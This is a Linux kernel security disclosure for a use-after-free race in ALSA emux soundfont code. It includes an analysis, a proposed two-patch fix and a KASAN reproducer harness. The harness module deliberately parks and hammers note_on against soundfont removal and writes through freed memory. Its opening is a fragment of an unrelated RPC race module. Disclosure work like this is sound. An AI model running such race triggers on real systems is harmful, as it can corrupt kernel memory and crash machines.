			kthread_stop(worker);
		rpcauth_unregister(&race_authops);
	} else if (!strcmp(mode, "mr01")) {
		atomic_set(&arm, 0);
		if (worker && !IS_ERR(worker))
			kthread_stop(worker);
		unregister_kprobe(&kp_ccd);
		unregister_kprobe(&kp_unreg);
	} else if (!strcmp(mode, "mr04")) {
		atomic_set(&arm, 0);
		atomic_set(&release_flag, 1);
		if (worker && !IS_ERR(worker))
			kthread_stop(worker);
		unregister_kprobe(&kp_srr);
		mr04_cleanup();
		rpcauth_unregister(&race_authops);
	} else if (!strcmp(mode, "mr02")) {
		mr02_cleanup();
	}
	pr_info("exit\n");
}

module_init(rpcrace_init);
module_exit(rpcrace_exit);
MODULE_LICENSE("GPL");

author
#121 lore raw

cover ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF)

In reply to Greg KH

snd_emux_note_on() obtains raw struct snd_sf_zone pointers from snd_soundfont_search_zone(), which drops sflist->lock on return, and then consumes them (exclusive-class read, sample/block chaining, a 92-byte register copy) with no lock, no reference count and no RCU protection, while four user-reachable soundfont removal paths (hwdep SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES / LOAD_PATCH(REMOVE_INFO) and OSS SNDCTL_SEQ_RESETSAMPLES) kfree() the very same zones, samples and util-mem blocks under a disjoint mutex. The two sides share no lock domain (presets_mutex vs voice_lock), and the emu10k1 backend additionally keeps already-playing voices pointed at freed blocks because emu10k1_ops has no .sample_reset callback.

Verified on mainline 7.3 with a KASAN kernel and the real in-tree snd-emux-synth module driven through its exported API (harness attached): an uninstrumented natural hammer (userspace soundfont load/unload loop through the real hwdep ioctl path vs kernel note_on loop) produced 133 slab-use-after-free reports in 25s across four distinct read points inside snd_emux_note_on(), with a closed alloc/free/use chain (alloc = sf_zone_new <- load_info <- snd_soundfont_load <- snd_emux_hwdep_ioctl <- real userspace ioctl; free = kfree <- snd_soundfont_remove_unlocked; use = snd_emux_note_on +0x225/0x75f/0x772/0x7ab). A controlled one-shot that parks note_on inside its window reproduces deterministically (6 reports). The in-flight window needs no privileges beyond access to the sound devices; consequences are kernel memory corruption (UAF reads plus a UAF write through the block pointer) and crashes.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled, QEMU/KVM x86_64 guest. The audited files (sound/synth/emux/*, sound/synth/util_mem.c, sound/pci/emu10k1/emu10k1_callback.c) are byte-identical between the tested tree and the report baseline. The bug predates 7.3 by many years (the emux split-probe model and the unlocked search are essentially unchanged since the 2.6 emux import); line numbers below are from 7.3.

* Mechanism

Two user-reachable contexts share soundfont objects with no common lock:

    - playback (sequencer event delivery -> snd_emux_note_on(),
      emux_synth.c:46-137): get_zone() -> snd_soundfont_search_zone()
      fills a stack array table[] with raw struct snd_sf_zone
      pointers and drops sflist->lock on return
      (soundfont.c:1241-1251).  The exclusive-class read at
      emux_synth.c:70 happens outside any lock; the sample/block
      chaining (emux_synth.c:100-104), the 92-byte register copy in
      setup_voice() (emux_synth.c:532) and the backend prepare()
      (which dereferences vp->block, emu10k1: emem->map_locked++ in
      start_voice(), emu10k1_callback.c:330) all run under
      emu->voice_lock only.

    - removal (hwdep/OSS ioctls -> snd_soundfont_remove_unlocked() /
      snd_soundfont_remove_samples() / remove_info(), and
      snd_sf_free()): these take sflist->presets_mutex and set
      sflist->presets_locked = 1, which only gates *new* searches
      (soundfont.c:1241-1243) -- it never waits out searches that
      already returned -- and then kfree() the zones
      (soundfont.c:1468/1371/457), the samples via callback.sample_free
      -> __snd_util_mem_free() -> kfree(blk) (util_mem.c:137-143) and
      the samples themselves (soundfont.c:1479/1377).

presets_mutex and voice_lock are disjoint: nothing in note_on takes presets_mutex, and nothing in the removal paths takes voice_lock (on emu10k1 the removal callback .sample_reset is missing entirely, emu10k1_callback.c:51-63 -- so removals do not even terminate playing voices, leaving vp->zone/vp->block dangling for the lifetime of the voice and turning every later note_off / voice recycle into a use of freed memory).

Consequences observed with KASAN: UAF reads at four points in snd_emux_note_on (exclusive-class read outside any lock; the zone->sample->block chain; the setup_voice() register copy), a UAF read/write through the freed struct snd_util_memblk in the backend prepare/terminate hooks, and cascade effects: snd_emu10k1_memblk_map() walking a freed block's list nodes and programming the card page table from garbage fields.

* Trigger model

emu10k1 or emu8000 hardware with the synth sub-driver probed (emu10k1: seq_ports > 0, the default is 4). One process loads a soundfont through the hwdep device (the standard sfxload sequence), another delivers note-on events to the emux sequencer port, a third issues REMOVE_LAST_SAMPLES / RESET_SAMPLES ioctls. None of these need privileges beyond access to /dev/snd/*. Consequence: kernel memory corruption and crashes (DoS at minimum; the freed-object writes and the parameter copy that feeds hardware register computation are corruption primitives).

* Reproducer and results on 7.3

synthrace.c is a self-contained harness module: it creates a virtual snd_card and registers the REAL in-tree emux (snd_emux_new / snd_emux_register with a backend ops vector that mirrors emu10k1_callback.c, including the missing .sample_reset), then hammers the real snd_emux_note_on() and snd_soundfont_remove_unlocked() (resolved via kprobes, as they are not exported) from two kthreads while a userspace loader (synth_test.c) loads/reloads a real soundfont through the real hwdep ioctl path (OPEN_PATCH, LOAD_DATA, LOAD_INFO, CLOSE_PATCH -- the sfxload sequence). No kernel source modification; needs CONFIG_SND=y, CONFIG_SND_SEQUENCER=y, CONFIG_SND_HWDEP=y, CONFIG_SND_PROC_FS=y, CONFIG_KPROBES=y and the snd-emux-synth module (built by enabling CONFIG_SND_SYNTH_EMUX=m plus its deps; a config fragment is included in the reproducer README).

Results (7.3, KASAN, 2 vCPU, 25s run):

- natural, no artificial delays: 133 slab-use-after-free reports (samples in evidence/), all with the closed chain above;
- controlled one-shot (note_on parked mid-window, removal runs underneath, release): 6 reports, deterministic;
- an identical harness run with the soundfont removal disabled (sanity plan) stays clean, so the reports are attributable to the audited race and not to the harness.

* Fix

Two small patches:

1/2: emu10k1: register .sample_reset (terminate playing voices
before their blocks/samples are freed). This is what snd_emu8000_sample_reset() already does for the emu8000 backend, and it removes the long-lived dangling vp->zone / vp->block face entirely.

2/2: emux: make the removal paths wait out the in-flight note_on
window. note_on publishes the window with an atomic counter from the moment the search returned until it finished consuming table[]; every freeing path that can release zones/samples (remove_unlocked, remove_samples, remove_info, snd_sf_free and the error-path sf_sample_delete) takes the preset lock first (which blocks new searches) and then waits for the counter to drain before freeing. The window never takes presets_mutex, so there is no lock inversion; all waiters are process context.

The patches are a suggested direction, written against 7.3 and reviewed by inspection; they have not been runtime-validated (the reported reproduction used the unpatched kernel). Happy to test any counter-proposal.

* Patch

[PATCH 1/2] ALSA: emu10k1: terminate playing voices when soundfonts
are removed

Without a .sample_reset callback the emu10k1 backend never terminates voices when soundfont samples/zones are removed through the hwdep or OSS interfaces, so voices that are playing keep pointers into the freed struct snd_sf_zone / snd_sf_sample / snd_util_memblk and every later voice recycle, note-off or terminate dereferences freed memory. The emu8000 backend already does exactly this (snd_emu8000_sample_reset() -> snd_emux_terminate_all()).

sound/pci/emu10k1/emu10k1_callback.c +6 -0
@@ -44,6 +44,11 @@ struct best_voice {
 #define LIMITVALUE(x, a, b) do { if ((x) < (a)) (x) = (a); else if ((x) > (b)) (x) = (b); } while (0)
 #define LIMITMAX(x, a) do {if ((x) > (a)) (x) = (a); } while (0)
 
+static void sample_reset(struct snd_emux *emu)
+{
+	snd_emux_terminate_all(emu);
+}
+
 
 /*
  * set up operators
@@ -57,6 +62,7 @@ static const struct snd_emux_operators emu10k1_ops = {
 	.terminate =	terminate_voice,
 	.free_voice =	free_voice,
 	.sample_new =	snd_emu10k1_sample_new,
 	.sample_free =	snd_emu10k1_sample_free,
+	.sample_reset =	sample_reset,
 	.get_pitch_shift = get_pitch_shift,
 };
Signature · 202 lines
2.47.1


[PATCH 2/2] ALSA: emux: wait out in-flight note_on before freeing
 soundfont objects

snd_emux_note_on() keeps raw struct snd_sf_zone pointers on its stack
from the moment snd_soundfont_search_zone() returns (sflist->lock
dropped) until the voice configuration finished, but every soundfont
removal path can kfree() those zones, the referenced samples and the
util-mem blocks concurrently: the presets_locked flag only gates new
searches, and the removal mutex (presets_mutex) is disjoint from the
locks note_on takes.  This yields immediate UAF reads in note_on
(exclusive-class, sample/block chain, register copy), UAF access
through vp->block in the backend prepare/terminate hooks, and
snd_emu10k1_memblk_map() operating on a freed block.

Publish the window with an atomic counter and let the freeing paths
wait for it to drain after taking the preset lock (which already
blocks new searches).  The window never takes presets_mutex, so there
is no inversion; all users of the wait are process context (hwdep/OSS
ioctl, driver removal).

--- a/include/sound/soundfont.h
+++ b/include/sound/soundfont.h
@@ -81,6 +81,8 @@ struct snd_sf_list {
 	int presets_locked;
 	struct mutex presets_mutex;
 	spinlock_t lock;
 	struct snd_util_memhdr *memhdr;
+	atomic_t zone_users;		/* in-flight note_on zone windows */
+	wait_queue_head_t zone_users_wait;
 };
 
 /* Prototypes for soundfont.c */
@@ -114,6 +116,21 @@ int snd_sf_linear_to_log(unsigned int amount, int offset, int ratio);
 
 /* lock access to sflist */
 static inline void snd_soundfont_lock_preset(struct snd_sf_list *sflist)
 {
 	mutex_lock(&sflist->presets_mutex);
 	guard(spinlock_irqsave)(&sflist->lock);
 	sflist->presets_locked = 1;
 }
+
+/* note_on: mark the window between the zone search and the last use of
+ * the returned raw pointers; soundfont removal paths wait for it */
+static inline void snd_soundfont_enter_zone_window(struct snd_sf_list *sflist)
+{
+	atomic_inc(&sflist->zone_users);
+}
+
+static inline void snd_soundfont_leave_zone_window(struct snd_sf_list *sflist)
+{
+	if (atomic_dec_and_test(&sflist->zone_users))
+		wake_up(&sflist->zone_users_wait);
+}
 
 /* remove lock */
 static inline void snd_soundfont_unlock_preset(struct snd_sf_list *sflist)
--- a/sound/synth/emux/soundfont.c
+++ b/sound/synth/emux/soundfont.c
@@ -440,6 +440,8 @@ static int sf_sample_delete(struct snd_sf_list *sflist,
 static int
 remove_info(struct snd_sf_list *sflist, struct snd_soundfont *sf,
 	    int bank, int instr)
 {
 	struct snd_sf_zone *prev, *next, *p;
 	int removed = 0;
 
+	/* wait out note_on windows that already hold our zones */
+	snd_soundfont_wait_zone_users(sflist);
+
 	prev = NULL;
 	for (p = sf->zones; p; p = next) {
@@ -250,17 +262,22 @@ static void sf_sample_delete(struct snd_sf_list *sflist,
 /*
  * delete sample list -- this is an exceptional job.
  * only the last allocated sample can be deleted.
  */
 static void
 sf_sample_delete(struct snd_sf_list *sflist,
 		 struct snd_soundfont *sf, struct snd_sf_sample *sp)
 {
 	/* only last sample is accepted */
+	snd_soundfont_wait_zone_users(sflist);
 	if (sp == sf->samples) {
 		if (sp->v.sf_id != sf->id) {
@@ (wait helper, placed before snd_sf_free)


+static void snd_soundfont_wait_zone_users(struct snd_sf_list *sflist)
+{
+	wait_event(sflist->zone_users_wait,
+		   !atomic_read(&sflist->zone_users));
+}
+
 /*
  * Initialise the sflist structure.
  */
 static void
 snd_sf_init(struct snd_sf_list *sflist)
@@ -1394,6 +1421,9 @@ struct snd_sf_list *
 snd_sf_new(struct snd_sf_callback *callback, struct snd_util_memhdr *hdr)
 {
 	struct snd_sf_list *sflist;
 
 	sflist = kzalloc_obj(*sflist);
 	if (!sflist)
 		return NULL;
 
 	mutex_init(&sflist->presets_mutex);
 	spin_lock_init(&sflist->lock);
+	atomic_set(&sflist->zone_users, 0);
+	init_waitqueue_head(&sflist->zone_users_wait);
 	sflist->memhdr = hdr;
 
 	if (callback)
@@ -1412,6 +1442,8 @@ int
 snd_sf_free(struct snd_sf_list *sflist)
 {
 	if (sflist == NULL)
 		return 0;
 	
 	scoped_guard(snd_soundfont_lock_preset, sflist) {
+		snd_soundfont_wait_zone_users(sflist);
 		if (sflist->callback.sample_reset)
 			sflist->callback.sample_reset(sflist->callback.private_data);
 		snd_sf_clear(sflist);
@@ -1432,6 +1466,8 @@ int
 snd_soundfont_remove_samples(struct snd_sf_list *sflist)
 {
 	guard(snd_soundfont_lock_preset)(sflist);
+	snd_soundfont_wait_zone_users(sflist);
 	if (sflist->callback.sample_reset)
 		sflist->callback.sample_reset(sflist->callback.private_data);
 	snd_sf_clear(sflist);
@@ -1446,6 +1482,8 @@ int
 snd_soundfont_remove_unlocked(struct snd_sf_list *sflist)
 {
 	struct snd_soundfont *sf;
 	struct snd_sf_zone *zp, *nextzp;
 	struct snd_sf_sample *sp, *nextsp;
 
 	guard(snd_soundfont_lock_preset)(sflist);
+	snd_soundfont_wait_zone_users(sflist);
 
 	if (sflist->callback.sample_reset)
 		sflist->callback.sample_reset(sflist->callback.private_data);
--- a/sound/synth/emux/emux_synth.c
+++ b/sound/synth/emux/emux_synth.c
@@ -62,6 +62,10 @@ void
 snd_emux_note_on(void *p, int note, int vel, struct snd_midi_channel *chan)
 	emu = port->emu;
 	if (snd_BUG_ON(!emu || !emu->ops.get_voice || !emu->ops.trigger))
 		return;
 
 	key = note; /* remember the original note */
 	nvoices = get_zone(emu, port, &note, vel, chan, table);
 	if (! nvoices)
 		return;
 
+	/* publish the zone window: soundfont removal paths wait for it
+	 * before freeing zones/samples/blocks that table[] points at */
+	snd_soundfont_enter_zone_window(emu->sflist);
 
 	/* exclusive note off */
 	for (i = 0; i < nvoices; i++) {
@@ -134,6 +142,8 @@ void
 #ifdef SNDRV_EMUX_USE_RAW_EFFECT
 	if (port->port_mode == SNDRV_EMUX_PORT_MODE_OSS_SYNTH) {
 		/* clear voice position for the next note on this channel */
 		struct snd_emux_effect_table *fx = chan->private;
 		if (fx) {
 			fx->flag[EMUX_FX_SAMPLE_START] = 0;
 			fx->flag[EMUX_FX_COARSE_SAMPLE_START] = 0;
 		}
 	}
 #endif
+
+	snd_soundfont_leave_zone_window(emu->sflist);
 }
 

-- 
2.47.1


* Suggested direction

  The attached two-patch series.  Patch 1/2 closes the long-lived
  dangling-voice face (the practically dominant one in our dynamic
  testing); patch 2/2 closes the in-flight table[] window.  A full RCU
  conversion of the soundfont object lifetimes would be a larger
  rework and is not required to close the reported corruption.


  Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* synthrace.c - dynamic verification harness for the emux wavetable audit
* cases SYNTH-MR-01 / SYNTH-MR-03 / SYNTH-MR-04
* (docs/manual-review-sound-synth-2026-11-26.md).
*
* It drives the REAL in-tree emux code (snd-emux-synth.ko: emux.c,
* emux_synth.c, soundfont.c, emux_hwdep.c, emux_proc.c, emux_seq.c) through
* its exported API with a fake backend ("hw"), replicating exactly the
* snd_emu10k1_synth_probe()/snd_emu10k1_synth_remove() usage shape:
*
* snd_emux_new() -> ops_setup -> fields -> snd_emux_register()
* snd_emux_free() (sub-driver remove body)
*
* No kernel source is modified; the audited code paths are the byte-identical
* in-tree modules (diff vs race/linux verified zero).
*
* Plans (module params, write "1" to trigger):
* mr01nat - SYNTH-MR-01 natural hammering: kernel kthread loops

 *              snd_emux_note_on() on the real emux port while another kernel
 *              kthread loops the REAL snd_soundfont_remove_unlocked() /
 *              snd_soundfont_remove_samples() (the hwdep ioctl bodies).
 *              The soundfont itself is loaded from userspace through the real
 *              hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path (synth_test load-loop).
 *   mr01ctl  - SYNTH-MR-01 controlled window: kprobe post_handler on
 *              snd_soundfont_search_zone stalls the note_on thread right at
 *              the start of its unprotected table[] window; one
 *              snd_soundfont_remove_unlocked() runs and frees zone/sample/
 *              block underneath; release -> cascaded UAF.

* free - SYNTH-MR-03/MR-04 trigger: snd_emux_free() with an open,
* hammering hwdep fd (mr03) or proc reader (mr04) on the other
* side. This is the exact snd_emu10k1_synth_remove() body.
*/
#define pr_fmt(fmt) "SYNTHRACE: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
#include <sound/asoundef.h>

static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;

/* ---- fake backend ops (same contract as emu10k1_callback.c) ---- */

static atomic_t mr01_armed = ATOMIC_INIT(0);
static atomic_t mr01_stalled = ATOMIC_INIT(0);

static struct snd_emux_voice *sr_get_voice(struct snd_emux *e,
struct snd_emux_port *port)

{
	int i;

	/*
	 * mr01ctl controlled window: parked mid note_on, AFTER table[] was
	 * filled by snd_soundfont_search_zone() and INSIDE the voice_lock
	 * configuration section, i.e. exactly inside the audited
	 * "search returned -> last table[]/vp->zone/vp->block use" span
	 * (emux_synth.c:63-114). Removing zone/sample/block underneath and
	 * then resuming replays the SYNTH-MR-01 interleaving end-to-end.
	 */
	if (atomic_read(&mr01_armed) && !atomic_xchg(&mr01_stalled, 1)) {
		unsigned long deadline = jiffies + msecs_to_jiffies(20000);

		pr_info("mr01ctl: note_on parked mid-configuration "
			"(table[] window open)\n");
		while (atomic_read(&mr01_armed) &&
		       time_before(jiffies, deadline))
			cpu_relax();
		pr_info("mr01ctl: note_on resuming\n");
	}

	for (i = 0; i < e->max_voices; i++) {
		struct snd_emux_voice *vp = &e->voices[i];

		if (vp->ch < 0) {
			vp->ch = i;
			e->num_voices++;
			return vp;
		}
	}
	/* recycle voice 0 so the hammering never starves */
	if (e->max_voices > 0) {
		e->voices[0].ch = 0;
		return &e->voices[0];
	}
	return NULL;
}

/*
* MR-01 UAF write point analog: emu10k1 start_voice() does
* emem->map_locked++ on the block handed down through vp->block; we touch
* the block the same way (read+write through the freed snd_util_memblk). */
static int mr01_note = 60;
static int mr01_vel = 100;
static atomic_t sr_start_calls = ATOMIC_INIT(0);

static int sr_start_voice(struct snd_emux_voice *vp)

{
	struct snd_util_memblk *b = vp->block;

	atomic_inc(&sr_start_calls);
	if (b)
		b->offset++;		/* UAF write on freed memblk */
	return 0;
}

static void sr_trigger(struct snd_emux_voice *vp) {} static void sr_release(struct snd_emux_voice *vp) {} static void sr_update(struct snd_emux_voice *vp, int update) {}

/* emu10k1 terminate_voice() reads vp->block (emem->map_locked--): analog */ static void sr_terminate(struct snd_emux_voice *vp)

{
	struct snd_util_memblk *b = vp->block;

	if (b) {
		unsigned int t = b->size;	/* UAF read on freed memblk */

		(void)t;
	}
}

static int sr_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)

{
	sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
	if (!sp->block)
		return -ENOMEM;
	return 0;
}

static int sr_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)

{
	if (sp->block) {
		snd_util_mem_free(hdr, sp->block);
		sp->block = NULL;
	}
	return 0;
}

static void sr_sample_reset(struct snd_emux *e)

{
	snd_emux_terminate_all(e);	/* same as snd_emu8000_sample_reset() */
}

/*
* SYNTH-MR-01's practically exploitable variant is the EMU10K1 backend
* (emu10k1_ops has NO .sample_reset, emu10k1_callback.c:51-63): removals
* then never terminate playing voices, so snd_emux_voice::block/::zone stay
* dangling after snd_emu10k1_synth_free()/kfree(sp) and every later
* terminate (e.g. voice recycle in note_on) dereferences the freed block.
* Default to that audited shape; sample_reset_en=1 switches to the EMU8000
* shape (snd_emu8000_patch.c registers snd_emu8000_sample_reset). */
static int sample_reset_en;
module_param(sample_reset_en, int, 0400);

static const struct snd_emux_operators sr_ops = {
.owner = THIS_MODULE,
.get_voice = sr_get_voice,
.prepare = sr_start_voice,
.trigger = sr_trigger,
.release = sr_release,
.update = sr_update,
.terminate = sr_terminate,
.sample_new = sr_sample_new,
.sample_free = sr_sample_free,
};

/* ---- shared setup/teardown ---- */

/*
* snd_emux_note_on() and the snd_soundfont_remove_*() bodies are real,
* non-exported global symbols of snd-emux-synth.ko. Resolve them at runtime
* via kprobe registration (kprobe-addr method, same technique as
* kmod/nmi/nmi_race.c) and call them through their exact prototypes. */
typedef void (*sr_note_on_t)(void *port, int note, int vel,

			     struct snd_midi_channel *chan);

typedef int (*sr_sf_op_t)(struct snd_sf_list *sflist);

static sr_note_on_t sr_note_on;
static sr_sf_op_t sr_remove_unlocked;
static sr_sf_op_t sr_remove_samples;

static void *sr_kallsym(const char *name)

{
	struct kprobe kp;
	void *addr;

	memset(&kp, 0, sizeof(kp));
	kp.symbol_name = name;
	if (register_kprobe(&kp) < 0) {
		pr_err("kallsym(%s) failed\n", name);
		return NULL;
	}
	addr = kp.addr;
	unregister_kprobe(&kp);
	return addr;
}

static int sr_resolve_syms(void)

{
	sr_note_on = (sr_note_on_t)sr_kallsym("snd_emux_note_on");
	sr_remove_unlocked =
		(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_unlocked");
	sr_remove_samples =
		(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_samples");
	return sr_note_on && sr_remove_unlocked && sr_remove_samples ?
		0 : -ENOENT;
}

static int sr_emux_setup(void)

{
	int err;

	err = snd_emux_new(&emu);
	if (err < 0)
		return err;

	emu->ops = sr_ops;
	if (sample_reset_en)
		emu->ops.sample_reset = sr_sample_reset;
	emu->hw = card;		/* non-NULL "hardware"; never dereferenced */
	emu->max_voices = 8;
	emu->num_ports = 1;
	emu->midi_ports = 0;	/* skip virmidi: not needed for these cases */
	emu->hwdep_idx = 0;	/* /dev/snd/hwC0D0 */
	emu->linear_panning = 0;
	emu->memhdr = snd_util_memhdr_new(0x100000);
	if (!emu->memhdr) {
		snd_emux_free(emu);
		emu = NULL;
		return -ENOMEM;
	}

	err = snd_emux_register(emu, card, 0, "synthrace");
	if (err < 0) {
		pr_err("snd_emux_register failed: %d\n", err);
		snd_util_memhdr_free(emu->memhdr);
		snd_emux_free(emu);
		emu = NULL;
		return err;
	}
	/*
	 * The real emu10k1 flow nests snd_emux_register() inside the outer
	 * snd_card_register() (seq-device probe), which then registers the
	 * emux proc entry created above. Replicate that final registration.
	 */
	snd_card_register(card);
	pr_info("emux registered: hwdep=hwC0D0 sflist=%p proc ready\n",
		emu->sflist);
	return 0;
}

static void sr_card_new(void)

{
	int err;

	parent = root_device_register("synthrace");
	if (IS_ERR(parent)) {
		parent = NULL;
		return;
	}
	err = snd_card_new(parent, 0, "synthrace", THIS_MODULE, 0, &card);
	if (err < 0) {
		pr_err("snd_card_new failed: %d\n", err);
		root_device_unregister(parent);
		parent = NULL;
		card = NULL;
	}
}

/* ---- MR-01 natural hammering ---- */

static unsigned int nat_secs = 25;
module_param(nat_secs, uint, 0400);

static struct task_struct *noteon_thr;
static struct task_struct *remove_thr;

static int noteon_fn(void *arg)

{
	struct snd_emux_port *port;
	struct snd_midi_channel *chan;
	unsigned long until = jiffies + nat_secs * HZ;

	port = emu->portptrs[0];
	if (!port) {
		pr_err("mr01nat: no port\n");
		return 0;
	}
	chan = &port->chset.channels[0];
	pr_info("mr01nat: note_on hammer starts\n");
	while (!kthread_should_stop() && time_before(jiffies, until)) {
		sr_note_on(port, 60, 100, chan);
		cond_resched();
	}
	pr_info("mr01nat: note_on hammer done\n");
	return 0;
}

static int remove_fn(void *arg)

{
	unsigned long until = jiffies + nat_secs * HZ;
	int n = 0;

	pr_info("mr01nat: remove hammer starts\n");
	while (!kthread_should_stop() && time_before(jiffies, until)) {
		/* these are the exact bodies of the hwdep ioctls
		 * SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES
		 *
		 * Throttled to ~2.5k/s: at unthrottled rates the removal
		 * outpaces the userspace loader and the soundfont spends its
		 * life empty, starving note_on of zones (see first mr01nat
		 * run: 5.5M removes, 0 collisions). The audit race needs the
		 * font alive while note_on is inside its table[] window.
		 */
		/* REMOVE_LAST_SAMPLES body only: unlike remove_samples()
		 * (snd_sf_clear -> snd_sf_init) it keeps currsf/open_client
		 * intact so the userspace loader can keep re-arming the font,
		 * while still freeing the very zone/sample/block trio of the
		 * audited SYNTH-MR-01 chain */
		sr_remove_unlocked(emu->sflist);
		n++;
		usleep_range(200, 500);
	}
	pr_info("mr01nat: remove hammer done (%d cycles)\n", n);
	return 0;
}

static int mr01nat_set(const char *val, const struct kernel_param *kp)

{
	if (!emu || !emu->portptrs[0])
		return -ENODEV;
	noteon_thr = kthread_run(noteon_fn, NULL, "synthrace_noteon");
	remove_thr = kthread_run(remove_fn, NULL, "synthrace_remove");
	return 0;
}

static const struct kernel_param_ops mr01nat_ops = { .set = mr01nat_set }; module_param_cb(mr01nat, &mr01nat_ops, NULL, 0200);

/* ---- MR-01 controlled window (park inside sr_get_voice, see above) ---- */

static struct completion mr01_done;

static int mr01_noteon_once(void *arg)

{
	struct snd_emux_port *port;
	struct snd_midi_channel *chan;

	port = emu->portptrs[0];
	chan = &port->chset.channels[0];
	atomic_set(&sr_start_calls, 0);
	sr_note_on(port, mr01_note, mr01_vel, chan);
	pr_info("mr01ctl: note_on returned, start_voice calls=%d\n",
		atomic_read(&sr_start_calls));
	complete(&mr01_done);
	return 0;
}

static int mr01ctl_set(const char *val, const struct kernel_param *kp)

{
	struct task_struct *t;
	int rc;

	if (!emu || !emu->portptrs[0])
		return -ENODEV;
	if (!sr_note_on || !sr_remove_unlocked || !sr_remove_samples)
		return -ENOENT;

	init_completion(&mr01_done);
	atomic_set(&mr01_stalled, 0);
	atomic_set(&mr01_armed, 1);

	t = kthread_run(mr01_noteon_once, NULL, "synthrace_ctl");
	if (IS_ERR(t)) {
		atomic_set(&mr01_armed, 0);
		return PTR_ERR(t);
	}
	/* wait until the note_on thread is actually parked mid-window */
	{
		unsigned long deadline = jiffies + msecs_to_jiffies(8000);

		while (!atomic_read(&mr01_stalled) &&
		       time_before(jiffies, deadline))
			msleep(1);
	}
	if (!atomic_read(&mr01_stalled)) {
		atomic_set(&mr01_armed, 0);
		wait_for_completion_timeout(&mr01_done,
					    msecs_to_jiffies(2000));
		pr_err("mr01ctl: note_on never parked; aborted\n");
		return -EIO;
	}
	/* free zone/sample/block underneath the parked note_on */
	pr_info("mr01ctl: running snd_soundfont_remove_unlocked()\n");
	rc = sr_remove_unlocked(emu->sflist);
	pr_info("mr01ctl: remove_unlocked returned %d\n", rc);
	msleep(50);
	atomic_set(&mr01_armed, 0);	/* release: cascaded UAF now */
	wait_for_completion_timeout(&mr01_done, msecs_to_jiffies(10000));
	pr_info("mr01ctl: done\n");
	return 0;
}

static const struct kernel_param_ops mr01ctl_ops = { .set = mr01ctl_set }; module_param_cb(mr01ctl, &mr01ctl_ops, NULL, 0200);

static int probe_set(const char *val, const struct kernel_param *kp)

{
	struct snd_emux_port *port;
	struct snd_midi_channel *chan;

	if (!emu || !emu->portptrs[0])
		return -ENODEV;
	port = emu->portptrs[0];
	chan = &port->chset.channels[0];
	atomic_set(&sr_start_calls, 0);
	pr_info("probe: pre note_on presets_locked=%d fonts=%d zone_ctr=%d\n",
		emu->sflist->presets_locked, emu->sflist->fonts_size,
		emu->sflist->zone_counter);
	sr_note_on(port, 60, 100, chan);
	pr_info("probe: note_on done, start_voice calls=%d\n",
		atomic_read(&sr_start_calls));
	return 0;
}

static const struct kernel_param_ops probe_ops = { .set = probe_set }; module_param_cb(probe, &probe_ops, NULL, 0200);

/* ---- MR-03/MR-04 trigger: sub-driver remove body ---- */

static int free_set(const char *val, const struct kernel_param *kp)

{
	if (!emu)
		return -ENODEV;
	pr_info("free: calling snd_emux_free() (sub-driver remove body)\n");
	snd_emux_free(emu);
	emu = NULL;
	pr_info("free: done\n");
	return 0;
}

static const struct kernel_param_ops free_ops = { .set = free_set }; module_param_cb(free, &free_ops, NULL, 0200);

/* ---- module plumbing ---- */

static int __init synthrace_init(void)

{
	int ret;

	ret = sr_resolve_syms();
	if (ret < 0)
		return ret;
	sr_card_new();
	if (!card)
		return -ENODEV;
	return sr_emux_setup();
}

static void __exit synthrace_exit(void)

{
	if (noteon_thr)
		kthread_stop(noteon_thr);
	if (remove_thr)
		kthread_stop(remove_thr);
	if (emu) {
		snd_emux_free(emu);
		emu = NULL;
	}
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	if (parent) {
		root_device_unregister(parent);
		parent = NULL;
	}
}

module_init(synthrace_init);
module_exit(synthrace_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("emux SYNTH-MR-01/03/04 race verification harness");

// SPDX-License-Identifier: GPL-2.0
/*
* synth_test.c - userspace driver for the emux race verification harness. *
* Plans:
* load [secs] - open /dev/snd/hwC0D0 and load a soundfont through the

 *                      REAL hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path
 *                      (OPEN_PATCH + LOAD_DATA + LOAD_INFO), then keep the
 *                      fd open. Writes /tmp/synth_loaded when done.

* reload [secs] - same, but keeps re-issuing LOAD_DATA+LOAD_INFO in a
* loop (font gets eaten by the kernel-side removal
* hammer in plan mr01nat).
* mr03 [iters] - open hwdep and hammer ioctls (VERSION / MEM_AVAIL /
* MISC_MODE) - the in-flight side of SYNTH-MR-03.
* mr04 [iters] - hammer open+read+close on
* /proc/asound/card0/wavetableD0 - the reader side of
* SYNTH-MR-04.
* mr04hold - open the proc file, print "HOLD", sleep 3s (the host
* script frees emux in between), then read again -
* delayed-UAF variant of SYNTH-MR-04.
* mr05 - poll for /dev/snd/hwC0D0 (probe-window race), open it
* and issue SNDRV_EMUX_IOCTL_MISC_MODE - the NULL-deref
* side of SYNTH-MR-05.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"

/* ---- soundfont binary construction (wire format of
* sound/synth/emux/soundfont.c) ---- */

